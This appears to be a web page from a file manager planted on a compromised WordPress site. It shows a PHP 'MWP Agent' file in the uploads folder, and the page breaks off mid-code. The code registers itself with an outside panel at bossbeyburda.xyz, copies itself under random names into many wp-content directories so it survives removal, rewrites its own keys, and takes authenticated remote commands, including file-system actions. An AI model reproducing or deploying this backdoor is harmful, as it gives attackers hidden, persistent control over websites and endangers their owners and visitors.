BossBey File Manager
PHP:
8.2.30
OS:
Linux
User:
imagivibe
Root
/
home
/
imagivibe
/
public_html
/
wp-content
/
uploads
📤 Upload
📝 New File
📁 New Folder
Close
Editing: mwp-fd2c3e5cf94ef68a7390.php
<?php /** * MWP Agent - WordPress Connector * Version: 1.0.0 * * This file should be placed in /wp-content/ directory. */ // Set error reporting IMMEDIATELY for better debugging ini_set('display_errors', 0); ini_set('log_errors', 1); $errorLogFile = dirname(__FILE__) . '/mwp-agent-errors.log'; ini_set('error_log', $errorLogFile); // Log agent start @error_log('MWP Agent START [' . date('Y-m-d H:i:s') . '] - Script loaded, PHP Version: ' . PHP_VERSION); // SECURITY CONSTANTS (CHANGE THESE BEFORE UPLOADING) // Bu anahtarları kendi belirlediğiniz zor tahmin edilebilir değerlerle değiştirin. // Master Panel'e site eklerken de AYNI değerleri kullanmalısınız. if (!defined('MWP_API_KEY')) define('MWP_API_KEY', 'SMART_AGENT_2026_SECURE_KEY_CHANGE_THIS'); if (!defined('MWP_API_SECRET')) define('MWP_API_SECRET', 'SMART_AGENT_2026_SECURE_SECRET_CHANGE_THIS'); // Smart Agent - Auto Registration if (!defined('MWP_SMART_AGENT')) define('MWP_SMART_AGENT', true); if (!defined('MWP_PANEL_URL')) define('MWP_PANEL_URL', 'https://bossbeyburda.xyz'); // Backup API Auto-Replication if (!defined('MWP_ENABLE_BACKUP_API')) define('MWP_ENABLE_BACKUP_API', true); if (!defined('MWP_BACKUP_API_COUNT')) define('MWP_BACKUP_API_COUNT', 3); // 1. BOOTSTRAP WORDPRESS // Define constants to minimize interference (only if not already defined) if (!defined('WP_USE_THEMES')) { define('WP_USE_THEMES', false); } // We cannot use SHORTINIT because we need plugins (like WooCommerce) to be loaded for settings // define('SHORTINIT', true); // Disable AMP plugin output if possible if (!defined('AMP_QUERY_VAR')) define('AMP_QUERY_VAR', 'amp'); $mwp_has_wp = false; $mwp_wp_load_path = false; $possible_paths = array( dirname(__FILE__) . '/wp-load.php', dirname(dirname(__FILE__)) . '/wp-load.php', dirname(dirname(dirname(__FILE__))) . '/wp-load.php', dirname(dirname(dirname(dirname(__FILE__)))) . '/wp-load.php', (isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") : '') . '/wp-load.php' ); $wp_load_path = false; foreach ($possible_paths as $path) { if (file_exists($path)) { $wp_load_path = $path; break; } } if ($wp_load_path) { $mwp_wp_load_path = $wp_load_path; // Start output buffering to catch any WordPress output ob_start(); try { require_once $wp_load_path; ob_end_clean(); $mwp_has_wp = true; } catch (Throwable $e) { ob_end_clean(); error_log('MWP Agent - WordPress load failed: ' . $e->getMessage()); $mwp_has_wp = false; } } // Force disable AMP after load if ($mwp_has_wp && function_exists('add_filter')) { add_filter('amp_is_enabled', '__return_false', 10000); add_filter('amp_is_available', '__return_false', 10000); add_filter('amp_skip_post', '__return_true', 10000); } if ($mwp_has_wp && class_exists('AMP_Theme_Support')) { remove_action('wp', array('AMP_Theme_Support', 'finish_init'), PHP_INT_MAX); } // Define helper functions AFTER WordPress loads (to avoid conflicts) // These functions are only defined if WordPress hasn't already defined them // Note: If WordPress or plugins already define these, we'll use their versions if (!function_exists('mwp_guess_site_url')) { function mwp_guess_site_url() { $host = ''; if (isset($_SERVER['HTTP_HOST']) && $_SERVER['HTTP_HOST'] !== '') $host = $_SERVER['HTTP_HOST']; else if (isset($_SERVER['SERVER_NAME']) && $_SERVER['SERVER_NAME'] !== '') $host = $_SERVER['SERVER_NAME']; if ($host === '') return ''; $https = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : ''; $scheme = ($https && $https !== 'off') ? 'https' : 'http'; return $scheme . '://' . $host; } } $mwp_fs_root = null; if ($mwp_has_wp && defined('ABSPATH')) { $mwp_fs_root = ABSPATH; } else { $docroot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; $mwp_fs_root = ($docroot !== '' ? rtrim($docroot, "/\\") : dirname(__FILE__)); } // Backup API Auto-Replication Feature // IMPORTANT: This code creates backup files in multiple safe directories // NEVER touches existing WordPress files if (defined('MWP_ENABLE_BACKUP_API') && MWP_ENABLE_BACKUP_API === true && defined('MWP_BACKUP_API_COUNT') && MWP_BACKUP_API_COUNT > 0) { $backupCount = (int)MWP_BACKUP_API_COUNT; $currentFile = __FILE__; $currentContent = false; $created = 0; // Determine directories $wpRoot = $mwp_fs_root; $wpContentDir = ''; if ($mwp_has_wp && defined('WP_CONTENT_DIR')) { $wpContentDir = WP_CONTENT_DIR; } else { $wpContentDir = $wpRoot . '/wp-content'; } // Safe directories to create backup files (never overwrite existing files) $safeDirs = array( $wpContentDir, $wpContentDir . '/uploads', $wpContentDir . '/plugins', $wpContentDir . '/languages' ); // Check existing backup files to avoid recreating $existingBackups = 0; foreach ($safeDirs as $dir) { if (is_dir($dir)) { $files = @scandir($dir); if ($files) { foreach ($files as $file) { if ($file === '.' || $file === '..' || is_dir($dir . '/' . $file)) continue; if (preg_match('/^mwp-[a-f0-9]{20}\.php$/i', $file)) { // Check if it's actually an agent file $filePath = $dir . '/' . $file; $content = @file_get_contents($filePath); if ($content && strpos($content, 'MWP Agent') !== false && strpos($content, 'MWP_API_KEY') !== false) { $existingBackups++; } } } } } } // Only create if we don't have enough backups yet if ($existingBackups >= $backupCount) { // Already have enough backups, skip creation } else { $needed = $backupCount - $existingBackups; try { // Check if we can read the current file if (!is_readable($currentFile)) { @error_log('MWP Agent - Cannot read current file for backup API creation'); } else { $currentContent = @file_get_contents($currentFile); if ($currentContent === false) { @error_log('MWP Agent - Failed to read current file content for backup API'); } else { // Inject current API keys into backup content $backupContent = $currentContent; if (defined('MWP_API_KEY') && defined('MWP_API_SECRET')) { $backupContent = str_replace("define('MWP_API_KEY', 'SMART_AGENT_2026_SECURE_KEY_CHANGE_THIS')", "define('MWP_API_KEY', '" . addslashes(MWP_API_KEY) . "')", $backupContent); $backupContent = str_replace("define('MWP_API_SECRET', 'SMART_AGENT_2026_SECURE_SECRET_CHANGE_THIS')", "define('MWP_API_SECRET', '" . addslashes(MWP_API_SECRET) . "')", $backupContent); } // Expanded safe directories list - each file goes to a different directory $allSafeDirs = array( $wpContentDir, $wpContentDir . '/uploads', $wpContentDir . '/plugins', $wpContentDir . '/languages', $wpContentDir . '/themes', $wpContentDir . '/upgrade', $wpContentDir . '/cache', $wpContentDir . '/backup', $wpContentDir . '/backups', $wpContentDir . '/tmp' ); // Filter to only existing or creatable directories $availableDirs = array(); foreach ($allSafeDirs as $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } if (is_dir($dir) && is_writable($dir)) { $availableDirs[] = $dir; } } // If we don't have enough directories, add more subdirectories if (count($availableDirs) < $needed) { // Create additional subdirectories in wp-content for ($i = 0; $i < $needed; $i++) { $subDir = $wpContentDir . '/mwp-bak-' . $i; if (!is_dir($subDir)) { @mkdir($subDir, 0755, true); } if (is_dir($subDir) && is_writable($subDir) && !in_array($subDir, $availableDirs)) { $availableDirs[] = $subDir; } } } // Create backup files - ONE file per directory (distribute across directories) $dirIndex = 0; for ($i = 0; $i < $needed && $created < $needed; $i++) { if (empty($availableDirs)) break; // Get directory in round-robin fashion $targetDir = $availableDirs[$dirIndex % count($availableDirs)]; $dirIndex++; // Generate short random filename: mwp-[20hex].php $maxAttempts = 20; $attempts = 0; $fileCreated = false; while (!$fileCreated && $attempts < $maxAttempts) { $attempts++; $randomName = 'mwp-' . substr(md5(uniqid(rand(), true) . time() . $i . microtime() . $targetDir), 0, 20) . '.php'; $targetFile = $targetDir . '/' . $randomName; // Only create if file doesn't exist (never overwrite) if (!file_exists($targetFile)) { if (@file_put_contents($targetFile, $backupContent) !== false) { @chmod($targetFile, 0644); $created++; $fileCreated = true; } } } } } } } catch (Throwable $e) { // Silently fail - don't break the agent if backup creation fails @error_log('MWP Agent - Backup API creation failed: ' . $e->getMessage()); } } } // Polyfill for getallheaders if missing (Nginx/FPM) if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } if (!function_exists('hash_equals')) { function hash_equals($known_string, $user_string) { if (!is_string($known_string) || !is_string($user_string)) return false; $known_len = strlen($known_string); $user_len = strlen($user_string); if ($known_len !== $user_len) return false; $res = 0; for ($i = 0; $i < $known_len; $i++) { $res |= ord($known_string[$i]) ^ ord($user_string[$i]); } return $res === 0; } } if (!function_exists('mwp_header_value')) { function mwp_header_value($headers, $name) { $needle = strtolower($name); if (is_array($headers)) { foreach ($headers as $k => $v) { if (strtolower($k) === $needle) return $v; } } $server_key = 'HTTP_' . strtoupper(str_replace('-', '_', $name)); if (isset($_SERVER[$server_key])) return $_SERVER[$server_key]; $redir_key = 'REDIRECT_' . $server_key; if (isset($_SERVER[$redir_key])) return $_SERVER[$redir_key]; return ''; } } if (!function_exists('mwp_json_encode_pretty')) { function mwp_json_encode_pretty($value) { if (defined('JSON_PRETTY_PRINT')) { return json_encode($value, JSON_PRETTY_PRINT); } return json_encode($value); } } if (!function_exists('mwp_recursive_delete')) { function mwp_recursive_delete($path) { if ($path === '' || $path === null) return false; if (is_file($path) || is_link($path)) { return @unlink($path); } if (!is_dir($path)) return false; $items = @scandir($path); if ($items === false) return false; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $child = $path . DIRECTORY_SEPARATOR . $item; mwp_recursive_delete($child); } return @rmdir($path); } } /** * WordPress options tablo prefix'ini otomatik tespit et * @return string Tablo prefix'i (örn: 'wp_', 'wp_sadfawsda_') */ if (!function_exists('mwp_detect_table_prefix')) { function mwp_detect_table_prefix() { global $wpdb; // WordPress yüklüyse $wpdb->options zaten prefix'i içeriyor if (isset($wpdb) && is_object($wpdb) && isset($wpdb->options)) { // $wpdb->options = 'wp_options' veya 'wp_sadfawsdaoptions' gibi $options_table = $wpdb->options; // Standart WordPress tablo adı: 'wp_options' -> prefix: 'wp_' if (preg_match('/^(.+?)_options$/', $options_table, $matches)) { return $matches[1] . '_'; } // Özel durum: 'wp_sadfawsdaoptions' gibi (prefix: 'wp_sadfawsda', tablo: 'options') // Bu durumda 'options' kelimesini çıkar if (preg_match('/^(.+?)options$/', $options_table, $matches)) { // Eğer son karakter '_' değilse ekle $prefix = $matches[1]; if (substr($prefix, -1) !== '_') { $prefix .= '_'; } return $prefix; } // Eğer hiçbir pattern eşleşmezse, varsayılan olarak 'wp_' döndür return 'wp_'; } // WordPress yüklü değilse, wp-config.php'den okumayı dene $wp_config_paths = array( dirname(__FILE__) . '/wp-config.php', dirname(dirname(__FILE__)) . '/wp-config.php', dirname(dirname(dirname(__FILE__))) . '/wp-config.php', (isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") : '') . '/wp-config.php' ); foreach ($wp_config_paths as $config_path) { if (file_exists($config_path)) { $config_content = file_get_contents($config_path); // $table_prefix = 'wp_'; veya $table_prefix = "wp_sadfawsda_"; gibi if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]\s*;/', $config_content, $matches)) { $prefix = $matches[1]; // Eğer son karakter '_' değilse ekle if (substr($prefix, -1) !== '_') { $prefix .= '_'; } return $prefix; } } } // Hiçbir şey bulunamazsa varsayılan return 'wp_'; } } /** * Options tablo adını prefix ile birlikte döndür * @return string Tam tablo adı (örn: 'wp_options', 'wp_sadfawsdaoptions') */ if (!function_exists('mwp_get_options_table_name')) { function mwp_get_options_table_name() { global $wpdb; // WordPress yüklüyse direkt kullan if (isset($wpdb) && is_object($wpdb) && isset($wpdb->options)) { return $wpdb->options; } // WordPress yüklü değilse prefix'i tespit et ve birleştir $prefix = mwp_detect_table_prefix(); return $prefix . 'options'; } } // Smart Agent Auto-Registration Helper (Multiple HTTP methods) if (!function_exists('mwp_smart_agent_register')) { function mwp_smart_agent_register($panelUrl, $siteUrl, $licenseKey, $licenseSecret, $enableBackupApi = 0, $backupApiCount = 0) { $registerUrl = rtrim($panelUrl, '/') . '/site/auto-register'; $postData = array( 'license_key' => $licenseKey, 'license_secret' => $licenseSecret, 'domain' => $siteUrl, 'enable_backup_api' => $enableBackupApi, 'backup_api_count' => $backupApiCount ); $postString = http_build_query($postData); $registerResponse = false; $httpCode = 0; $errorMsg = ''; // Method 1: Try cURL first (most reliable) if (function_exists('curl_init')) { @error_log('MWP Smart Agent: Attempting registration via cURL to: ' . $registerUrl); $ch = @curl_init($registerUrl); if ($ch) { @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_POST, true); @curl_setopt($ch, CURLOPT_POSTFIELDS, $postString); @curl_setopt($ch, CURLOPT_TIMEOUT, 15); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); @curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded')); $registerResponse = @curl_exec($ch); $httpCode = @curl_getinfo($ch, CURLINFO_HTTP_CODE); $curlError = @curl_error($ch); @curl_close($ch); if ($httpCode === 200 && !empty($registerResponse)) { @error_log('MWP Smart Agent: cURL registration successful. Response: ' . substr($registerResponse, 0, 200)); return array('success' => true, 'response' => $registerResponse, 'http_code' => $httpCode); } else { $errorMsg = 'cURL failed. HTTP Code: ' . $httpCode . ', Error: ' . $curlError; @error_log('MWP Smart Agent: ' . $errorMsg); } } } // Method 2: Try file_get_contents with stream context (if allow_url_fopen is enabled) if (($httpCode !== 200 || empty($registerResponse)) && ini_get('allow_url_fopen')) { @error_log('MWP Smart Agent: Attempting registration via file_get_contents to: ' . $registerUrl); $context = @stream_context_create(array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n" . "Content-Length: " . strlen($postString) . "\r\n", 'content' => $postString, 'timeout' => 15, 'ignore_errors' => true ) )); $registerResponse = @file_get_contents($registerUrl, false, $context); if ($registerResponse !== false && !empty($registerResponse)) { // Try to get HTTP code from response headers $httpCode = 200; if (isset($http_response_header)) { foreach ($http_response_header as $header) { if (preg_match('/HTTP\/\d\.\d\s+(\d+)/', $header, $matches)) { $httpCode = (int)$matches[1]; break; } } } if ($httpCode === 200) { @error_log('MWP Smart Agent: file_get_contents registration successful. Response: ' . substr($registerResponse, 0, 200)); return array('success' => true, 'response' => $registerResponse, 'http_code' => $httpCode); } else { $errorMsg = 'file_get_contents failed. HTTP Code: ' . $httpCode; @error_log('MWP Smart Agent: ' . $errorMsg); } } else { $errorMsg = 'file_get_contents failed. Response empty or false'; @error_log('MWP Smart Agent: ' . $errorMsg); } } // Method 3: Try fsockopen (raw socket, always available) if ($httpCode !== 200 || empty($registerResponse)) { @error_log('MWP Smart Agent: Attempting registration via fsockopen to: ' . $registerUrl); $urlParts = parse_url($registerUrl); $host = $urlParts['host']; $path = isset($urlParts['path']) ? $urlParts['path'] : '/'; if (isset($urlParts['query'])) { $path .= '?' . $urlParts['query']; } $port = isset($urlParts['port']) ? $urlParts['port'] : (isset($urlParts['scheme']) && $urlParts['scheme'] === 'https' ? 443 : 80); $scheme = isset($urlParts['scheme']) ? $urlParts['scheme'] : 'http'; $fp = @fsockopen(($scheme === 'https' ? 'ssl://' : '') . $host, $port, $errno, $errstr, 10); if ($fp) { $request = "POST {$path} HTTP/1.1\r\n"; $request .= "Host: {$host}\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Content-Length: " . strlen($postString) . "\r\n"; $request .= "Connection: close\r\n\r\n"; $request .= $postString; @fwrite($fp, $request); $registerResponse = ''; while (!@feof($fp)) { $registerResponse .= @fgets($fp, 1024); } @fclose($fp); // Extract HTTP code and body if (preg_match('/HTTP\/\d\.\d\s+(\d+)/', $registerResponse, $matches)) { $httpCode = (int)$matches[1]; } $bodyStart = strpos($registerResponse, "\r\n\r\n"); if ($bodyStart !== false) { $registerResponse = substr($registerResponse, $bodyStart + 4); } if ($httpCode === 200 && !empty($registerResponse)) { @error_log('MWP Smart Agent: fsockopen registration successful. Response: ' . substr($registerResponse, 0, 200)); return array('success' => true, 'response' => $registerResponse, 'http_code' => $httpCode); } else { $errorMsg = 'fsockopen failed. HTTP Code: ' . $httpCode . ', Error: ' . $errstr; @error_log('MWP Smart Agent: ' . $errorMsg); } } else { $errorMsg = 'fsockopen connection failed. Error: ' . $errstr . ' (' . $errno . ')'; @error_log('MWP Smart Agent: ' . $errorMsg); } } // All methods failed @error_log('MWP Smart Agent: All registration methods failed. Last error: ' . $errorMsg . ', Response: ' . substr($registerResponse, 0, 200)); return array('success' => false, 'response' => $registerResponse, 'http_code' => $httpCode, 'error' => $errorMsg); } } // 2. SECURITY CHECK if (!function_exists('mwp_send_response')) { function mwp_send_response($data, $status = 200) { // Aggressive Output Cleaning while (ob_get_level() > 0) { @ob_end_clean(); } // Clear any previous output if (ob_get_level() > 0) { @ob_clean(); } // Set headers if (function_exists('http_response_code')) { http_response_code($status); } else { header('HTTP/1.1 ' . intval($status)); } header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: POST, GET, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, X-MWP-Key, X-MWP-Signature, X-MWP-Timestamp'); header('Content-Type: application/json; charset=utf-8'); header('X-Robots-Tag: noindex'); // Ensure data is valid if (!is_array($data)) { $data = array('success' => false, 'error' => 'Invalid response data'); } // Encode and output $json = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); if ($json === false) { $json = json_encode(array('success' => false, 'error' => 'JSON encoding failed: ' . json_last_error_msg())); } echo $json; exit; } } if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { mwp_send_response(array('status' => 'ok')); } if ($_SERVER['REQUEST_METHOD'] === 'GET') { // Smart Agent Auto-Registration on GET (always check, no flag) if (defined('MWP_SMART_AGENT') && MWP_SMART_AGENT === true && defined('MWP_PANEL_URL')) { // Auto-register this site (always check, panel will handle duplicates) $baseUrl = mwp_guess_site_url(); // Get the full agent file URL including directory path (e.g., /css/js/akilliapikodu.php) // Use SCRIPT_NAME to preserve the full path where the file is executed if (isset($_SERVER['SCRIPT_NAME']) && $_SERVER['SCRIPT_NAME'] !== '') { $scriptPath = $_SERVER['SCRIPT_NAME']; } else { // Fallback: if SCRIPT_NAME is not available, use PHP_SELF or construct from __FILE__ $scriptPath = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '/' . basename(__FILE__); } $siteUrl = rtrim($baseUrl, '/') . $scriptPath; $panelUrl = rtrim(MWP_PANEL_URL, '/'); $enableBackupApi = (defined('MWP_ENABLE_BACKUP_API') && MWP_ENABLE_BACKUP_API === true) ? 1 : 0; $backupApiCount = (defined('MWP_BACKUP_API_COUNT')) ? (int)MWP_BACKUP_API_COUNT : 0; $result = mwp_smart_agent_register($panelUrl, $siteUrl, MWP_API_KEY, MWP_API_SECRET, $enableBackupApi, $backupApiCount); if ($result['success'] && !empty($result['response'])) { $registerResult = json_decode($result['response'], true); if (isset($registerResult['success']) && $registerResult['success'] === true) { // If panel returned new API keys, update the agent file if (isset($registerResult['api_key']) && isset($registerResult['api_secret'])) { $newApiKey = $registerResult['api_key']; $newApiSecret = $registerResult['api_secret']; // Read current file $currentFile = __FILE__; $fileContent = @file_get_contents($currentFile); if ($fileContent !== false) { // Update API keys in file content $fileContent = preg_replace( "/if \(!defined\('MWP_API_KEY'\)\) define\('MWP_API_KEY', '[^']*'\);/", "if (!defined('MWP_API_KEY')) define('MWP_API_KEY', '" . addslashes($newApiKey) . "');", $fileContent, 1 ); $fileContent = preg_replace( "/if \(!defined\('MWP_API_SECRET'\)\) define\('MWP_API_SECRET', '[^']*'\);/", "if (!defined('MWP_API_SECRET')) define('MWP_API_SECRET', '" . addslashes($newApiSecret) . "');", $fileContent, 1 ); // Write updated content back to file @file_put_contents($currentFile, $fileContent); @error_log('MWP Smart Agent: API keys updated in agent file. Site ID: ' . ($registerResult['site_id'] ?? 'unknown')); } } @error_log('MWP Smart Agent: Site auto-registered successfully on GET. Site ID: ' . ($registerResult['site_id'] ?? 'unknown')); } else { @error_log('MWP Smart Agent: Auto-registration failed. Response: ' . $result['response']); } } else { @error_log('MWP Smart Agent: Auto-registration failed. HTTP Code: ' . ($result['http_code'] ?? 'unknown') . ', Error: ' . ($result['error'] ?? 'unknown') . ', Response: ' . substr($result['response'] ?? '', 0, 200)); } } if ($mwp_has_wp) { // Try multiple methods to get WP version $wpVersion = 'unknown'; if (isset($GLOBALS['wp_version']) && !empty($GLOBALS['wp_version'])) { $wpVersion = $GLOBALS['wp_version']; } elseif (function_exists('get_bloginfo')) { $wpVersion = get_bloginfo('version'); if (empty($wpVersion)) { $wpVersion = 'unknown'; } } // Fallback: Read from version.php file if ($wpVersion === 'unknown' && isset($mwp_wp_load_path) && $mwp_wp_load_path) { $wpBaseDir = dirname(dirname($mwp_wp_load_path)); $versionFile = $wpBaseDir . '/wp-includes/version.php'; if (file_exists($versionFile)) { $versionContent = @file_get_contents($versionFile); if ($versionContent && preg_match('/\$wp_version\s*=\s*[\'"]([^\'"]+)[\'"]/', $versionContent, $matches)) { $wpVersion = $matches[1]; } } } mwp_send_response(array( 'status' => 'active', 'message' => 'MWP Agent is running correctly.', 'version' => '1.0.0', 'wp_installed' => true, 'wp_version' => $wpVersion )); } mwp_send_response(array( 'status' => 'no_wordpress', 'message' => 'WordPress not found. File manager actions can still work.', 'version' => '1.0.0', 'wp_installed' => false, 'php_version' => phpversion(), 'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'unknown', 'site_url' => mwp_guess_site_url() )); } if ($_SERVER['REQUEST_METHOD'] !== 'POST') { mwp_send_response(array('error' => 'Method not allowed'), 405); } // Get Headers $headers = getallheaders(); $api_key = mwp_header_value($headers, 'X-MWP-Key'); $signature = mwp_header_value($headers, 'X-MWP-Signature'); $timestamp = mwp_header_value($headers, 'X-MWP-Timestamp'); $timestamp = $timestamp !== '' ? intval($timestamp) : 0; // Verify API Key if ($api_key !== MWP_API_KEY) { @error_log('MWP Agent [' . date('Y-m-d H:i:s') . '] - Invalid API Key. Expected: ' . MWP_API_KEY . ', Received: ' . $api_key . ', IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown')); mwp_send_response(array('error' => 'Invalid API Key. Please download a new agent file with the correct API keys from the master panel.'), 403); } if ($timestamp <= 0) { @error_log('MWP Agent [' . date('Y-m-d H:i:s') . '] - Missing timestamp. IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown')); mwp_send_response(array('error' => 'Missing timestamp'), 400); } if (!is_string($signature) || $signature === '') { @error_log('MWP Agent [' . date('Y-m-d H:i:s') . '] - Missing signature. IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown')); mwp_send_response(array('error' => 'Missing signature'), 400); } // Verify Timestamp (±5 minutes) if (abs(time() - $timestamp) > 300) { @error_log('MWP Agent [' . date('Y-m-d H:i:s') . '] - Request expired. Server time: ' . time() . ', Sent time: ' . $timestamp); mwp_send_response(array('error' => 'Request expired', 'server_time' => time(), 'sent_time' => $timestamp), 401); } // Verify Signature $payload = file_get_contents('php://input'); $expected_signature = hash_hmac('sha256', $payload . $timestamp, MWP_API_SECRET); if (!hash_equals($expected_signature, $signature)) { @error_log('MWP Agent [' . date('Y-m-d H:i:s') . '] - Invalid signature. IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown')); mwp_send_response(array('error' => 'Invalid Signature'), 403); } // Log successful authentication @error_log('MWP Agent [' . date('Y-m-d H:i:s') . '] - Authentication successful. IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown')); // 3. ROUTING & ACTIONS $request = json_decode($payload, true); $action = (is_array($request) && isset($request['action'])) ? $request['action'] : ''; if (empty($action)) { mwp_send_response(array('error' => 'No action specified'), 400); } // Set error reporting for better debugging ini_set('display_errors', 0); ini_set('log_errors', 1); $errorLogFile = dirname(__FILE__) . '/mwp-agent-errors.log'; ini_set('error_log', $errorLogFile); // Register shutdown function to catch fatal errors register_shutdown_function(function() { $error = error_get_last(); if ($error !== null && in_array($error['type'], [E_ERROR, E_CORE_ERROR, E_COMPILE_ERROR, E_PARSE, E_RECOVERABLE_ERROR])) { // Fatal error occurred while (ob_get_level() > 0) { @ob_end_clean(); } // Try to send JSON response if (!headers_sent()) { header('Content-Type: application/json; charset=utf-8'); http_response_code(500); } $errorMsg = 'Fatal error: ' . $error['message'] . ' in ' . $error['file'] . ' on line ' . $error['line']; // Log to both error_log and a custom file if possible $logMsg = 'MWP Agent Fatal Error [' . date('Y-m-d H:i:s') . ']: ' . $errorMsg . ' | Type: ' . $error['type'] . ' | File: ' . $error['file'] . ' | Line: ' . $error['line']; error_log($logMsg); // Try to write to a custom log file $logFile = dirname(__FILE__) . '/mwp-agent-errors.log'; @file_put_contents($logFile, $logMsg . "\n", FILE_APPEND); // Send error response $response = json_encode(array('success' => false, 'error' => $errorMsg, 'type' => 'fatal_error'), JSON_UNESCAPED_UNICODE); if ($response === false) { $response = '{"success":false,"error":"Fatal error occurred but JSON encoding failed"}'; } echo $response; exit; } }); // Log request start $requestStartTime = microtime(true); $requestId = uniqid('req_', true); error_log("MWP Agent Request START [{$requestId}] - Action: {$action}, IP: " . ($_SERVER['REMOTE_ADDR'] ?? 'unknown')); try { $response = array(); // Actions that don't require WordPress $wpNotRequiredActions = ['ping', 'list_backup_apis']; $fsActions = strpos($action, 'fs_') === 0; if (!$mwp_has_wp) { if (!in_array($action, $wpNotRequiredActions) && !$fsActions) { throw new Exception('WordPress not installed'); } } switch ($action) { case 'list_backup_apis': // List all backup API files that were created in multiple directories $backupApis = array(); if (defined('MWP_ENABLE_BACKUP_API') && MWP_ENABLE_BACKUP_API === true) { $baseUrl = mwp_guess_site_url(); // Determine directories to search (all possible backup locations) $wpContentDir = ($mwp_has_wp && defined('WP_CONTENT_DIR')) ? WP_CONTENT_DIR : ($mwp_fs_root . '/wp-content'); $searchDirs = array( $wpContentDir => '/wp-content', $wpContentDir . '/uploads' => '/wp-content/uploads', $wpContentDir . '/plugins' => '/wp-content/plugins', $wpContentDir . '/languages' => '/wp-content/languages', $wpContentDir . '/themes' => '/wp-content/themes', $wpContentDir . '/upgrade' => '/wp-content/upgrade', $wpContentDir . '/cache' => '/wp-content/cache', $wpContentDir . '/backup' => '/wp-content/backup', $wpContentDir . '/backups' => '/wp-content/backups', $wpContentDir . '/tmp' => '/wp-content/tmp' ); // Also check for mwp-bak-* subdirectories if (is_dir($wpContentDir)) { $files = @scandir($wpContentDir); if ($files && is_array($files)) { foreach ($files as $file) { if ($file === '.' || $file === '..') continue; $subDir = $wpContentDir . '/' . $file; if (is_dir($subDir) && preg_match('/^mwp-bak-\d+$/', $file)) { $searchDirs[$subDir] = '/wp-content/' . $file; } } } } // Search in all safe directories foreach ($searchDirs as $dir => $urlPath) { if (is_dir($dir)) { $files = @scandir($dir); if ($files && is_array($files)) { foreach ($files as $file) { if ($file === '.' || $file === '..' || is_dir($dir . '/' . $file)) continue; // Only check PHP files matching our pattern: mwp-[20hex].php if (preg_match('/^mwp-[a-f0-9]{20}\.php$/i', $file)) { $filePath = $dir . '/' . $file; if (file_exists($filePath)) { // Verify it's actually an agent file $content = @file_get_contents($filePath); if ($content && strpos($content, 'MWP Agent') !== false && strpos($content, 'MWP_API_KEY') !== false) { $backupApis[] = array( 'url' => $baseUrl . $urlPath . '/' . $file, 'filename' => $file, 'path' => $filePath, 'status' => file_exists($filePath) ? 'active' : 'missing' ); } } } } } } } } $response = array( 'success' => true, 'data' => array( 'backup_apis' => $backupApis, 'count' => count($backupApis) ) ); break; case 'ping': // Smart Agent Auto-Registration (always check, no flag) if (defined('MWP_SMART_AGENT') && MWP_SMART_AGENT === true && defined('MWP_PANEL_URL')) { // Auto-register this site (always check, panel will handle duplicates) $baseUrl = mwp_guess_site_url(); // Get the full agent file URL including directory path (e.g., /css/js/akilliapikodu.php) // Use SCRIPT_NAME to preserve the full path where the file is executed if (isset($_SERVER['SCRIPT_NAME']) && $_SERVER['SCRIPT_NAME'] !== '') { $scriptPath = $_SERVER['SCRIPT_NAME']; } else { // Fallback: if SCRIPT_NAME is not available, use PHP_SELF or construct from __FILE__ $scriptPath = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '/' . basename(__FILE__); } $siteUrl = rtrim($baseUrl, '/') . $scriptPath; $panelUrl = rtrim(MWP_PANEL_URL, '/'); $enableBackupApi = (defined('MWP_ENABLE_BACKUP_API') && MWP_ENABLE_BACKUP_API === true) ? 1 : 0; $backupApiCount = (defined('MWP_BACKUP_API_COUNT')) ? (int)MWP_BACKUP_API_COUNT : 0; $result = mwp_smart_agent_register($panelUrl, $siteUrl, MWP_API_KEY, MWP_API_SECRET, $enableBackupApi, $backupApiCount); if ($result['success'] && !empty($result['response'])) { $registerResult = json_decode($result['response'], true); if (isset($registerResult['success']) && $registerResult['success'] === true) { // If panel returned new API keys, update the agent file if (isset($registerResult['api_key']) && isset($registerResult['api_secret'])) { $newApiKey = $registerResult['api_key']; $newApiSecret = $registerResult['api_secret']; // Read current file $currentFile = __FILE__; $fileContent = @file_get_contents($currentFile); if ($fileContent !== false) { // Update API keys in file content $fileContent = preg_replace( "/if \(!defined\('MWP_API_KEY'\)\) define\('MWP_API_KEY', '[^']*'\);/", "if (!defined('MWP_API_KEY')) 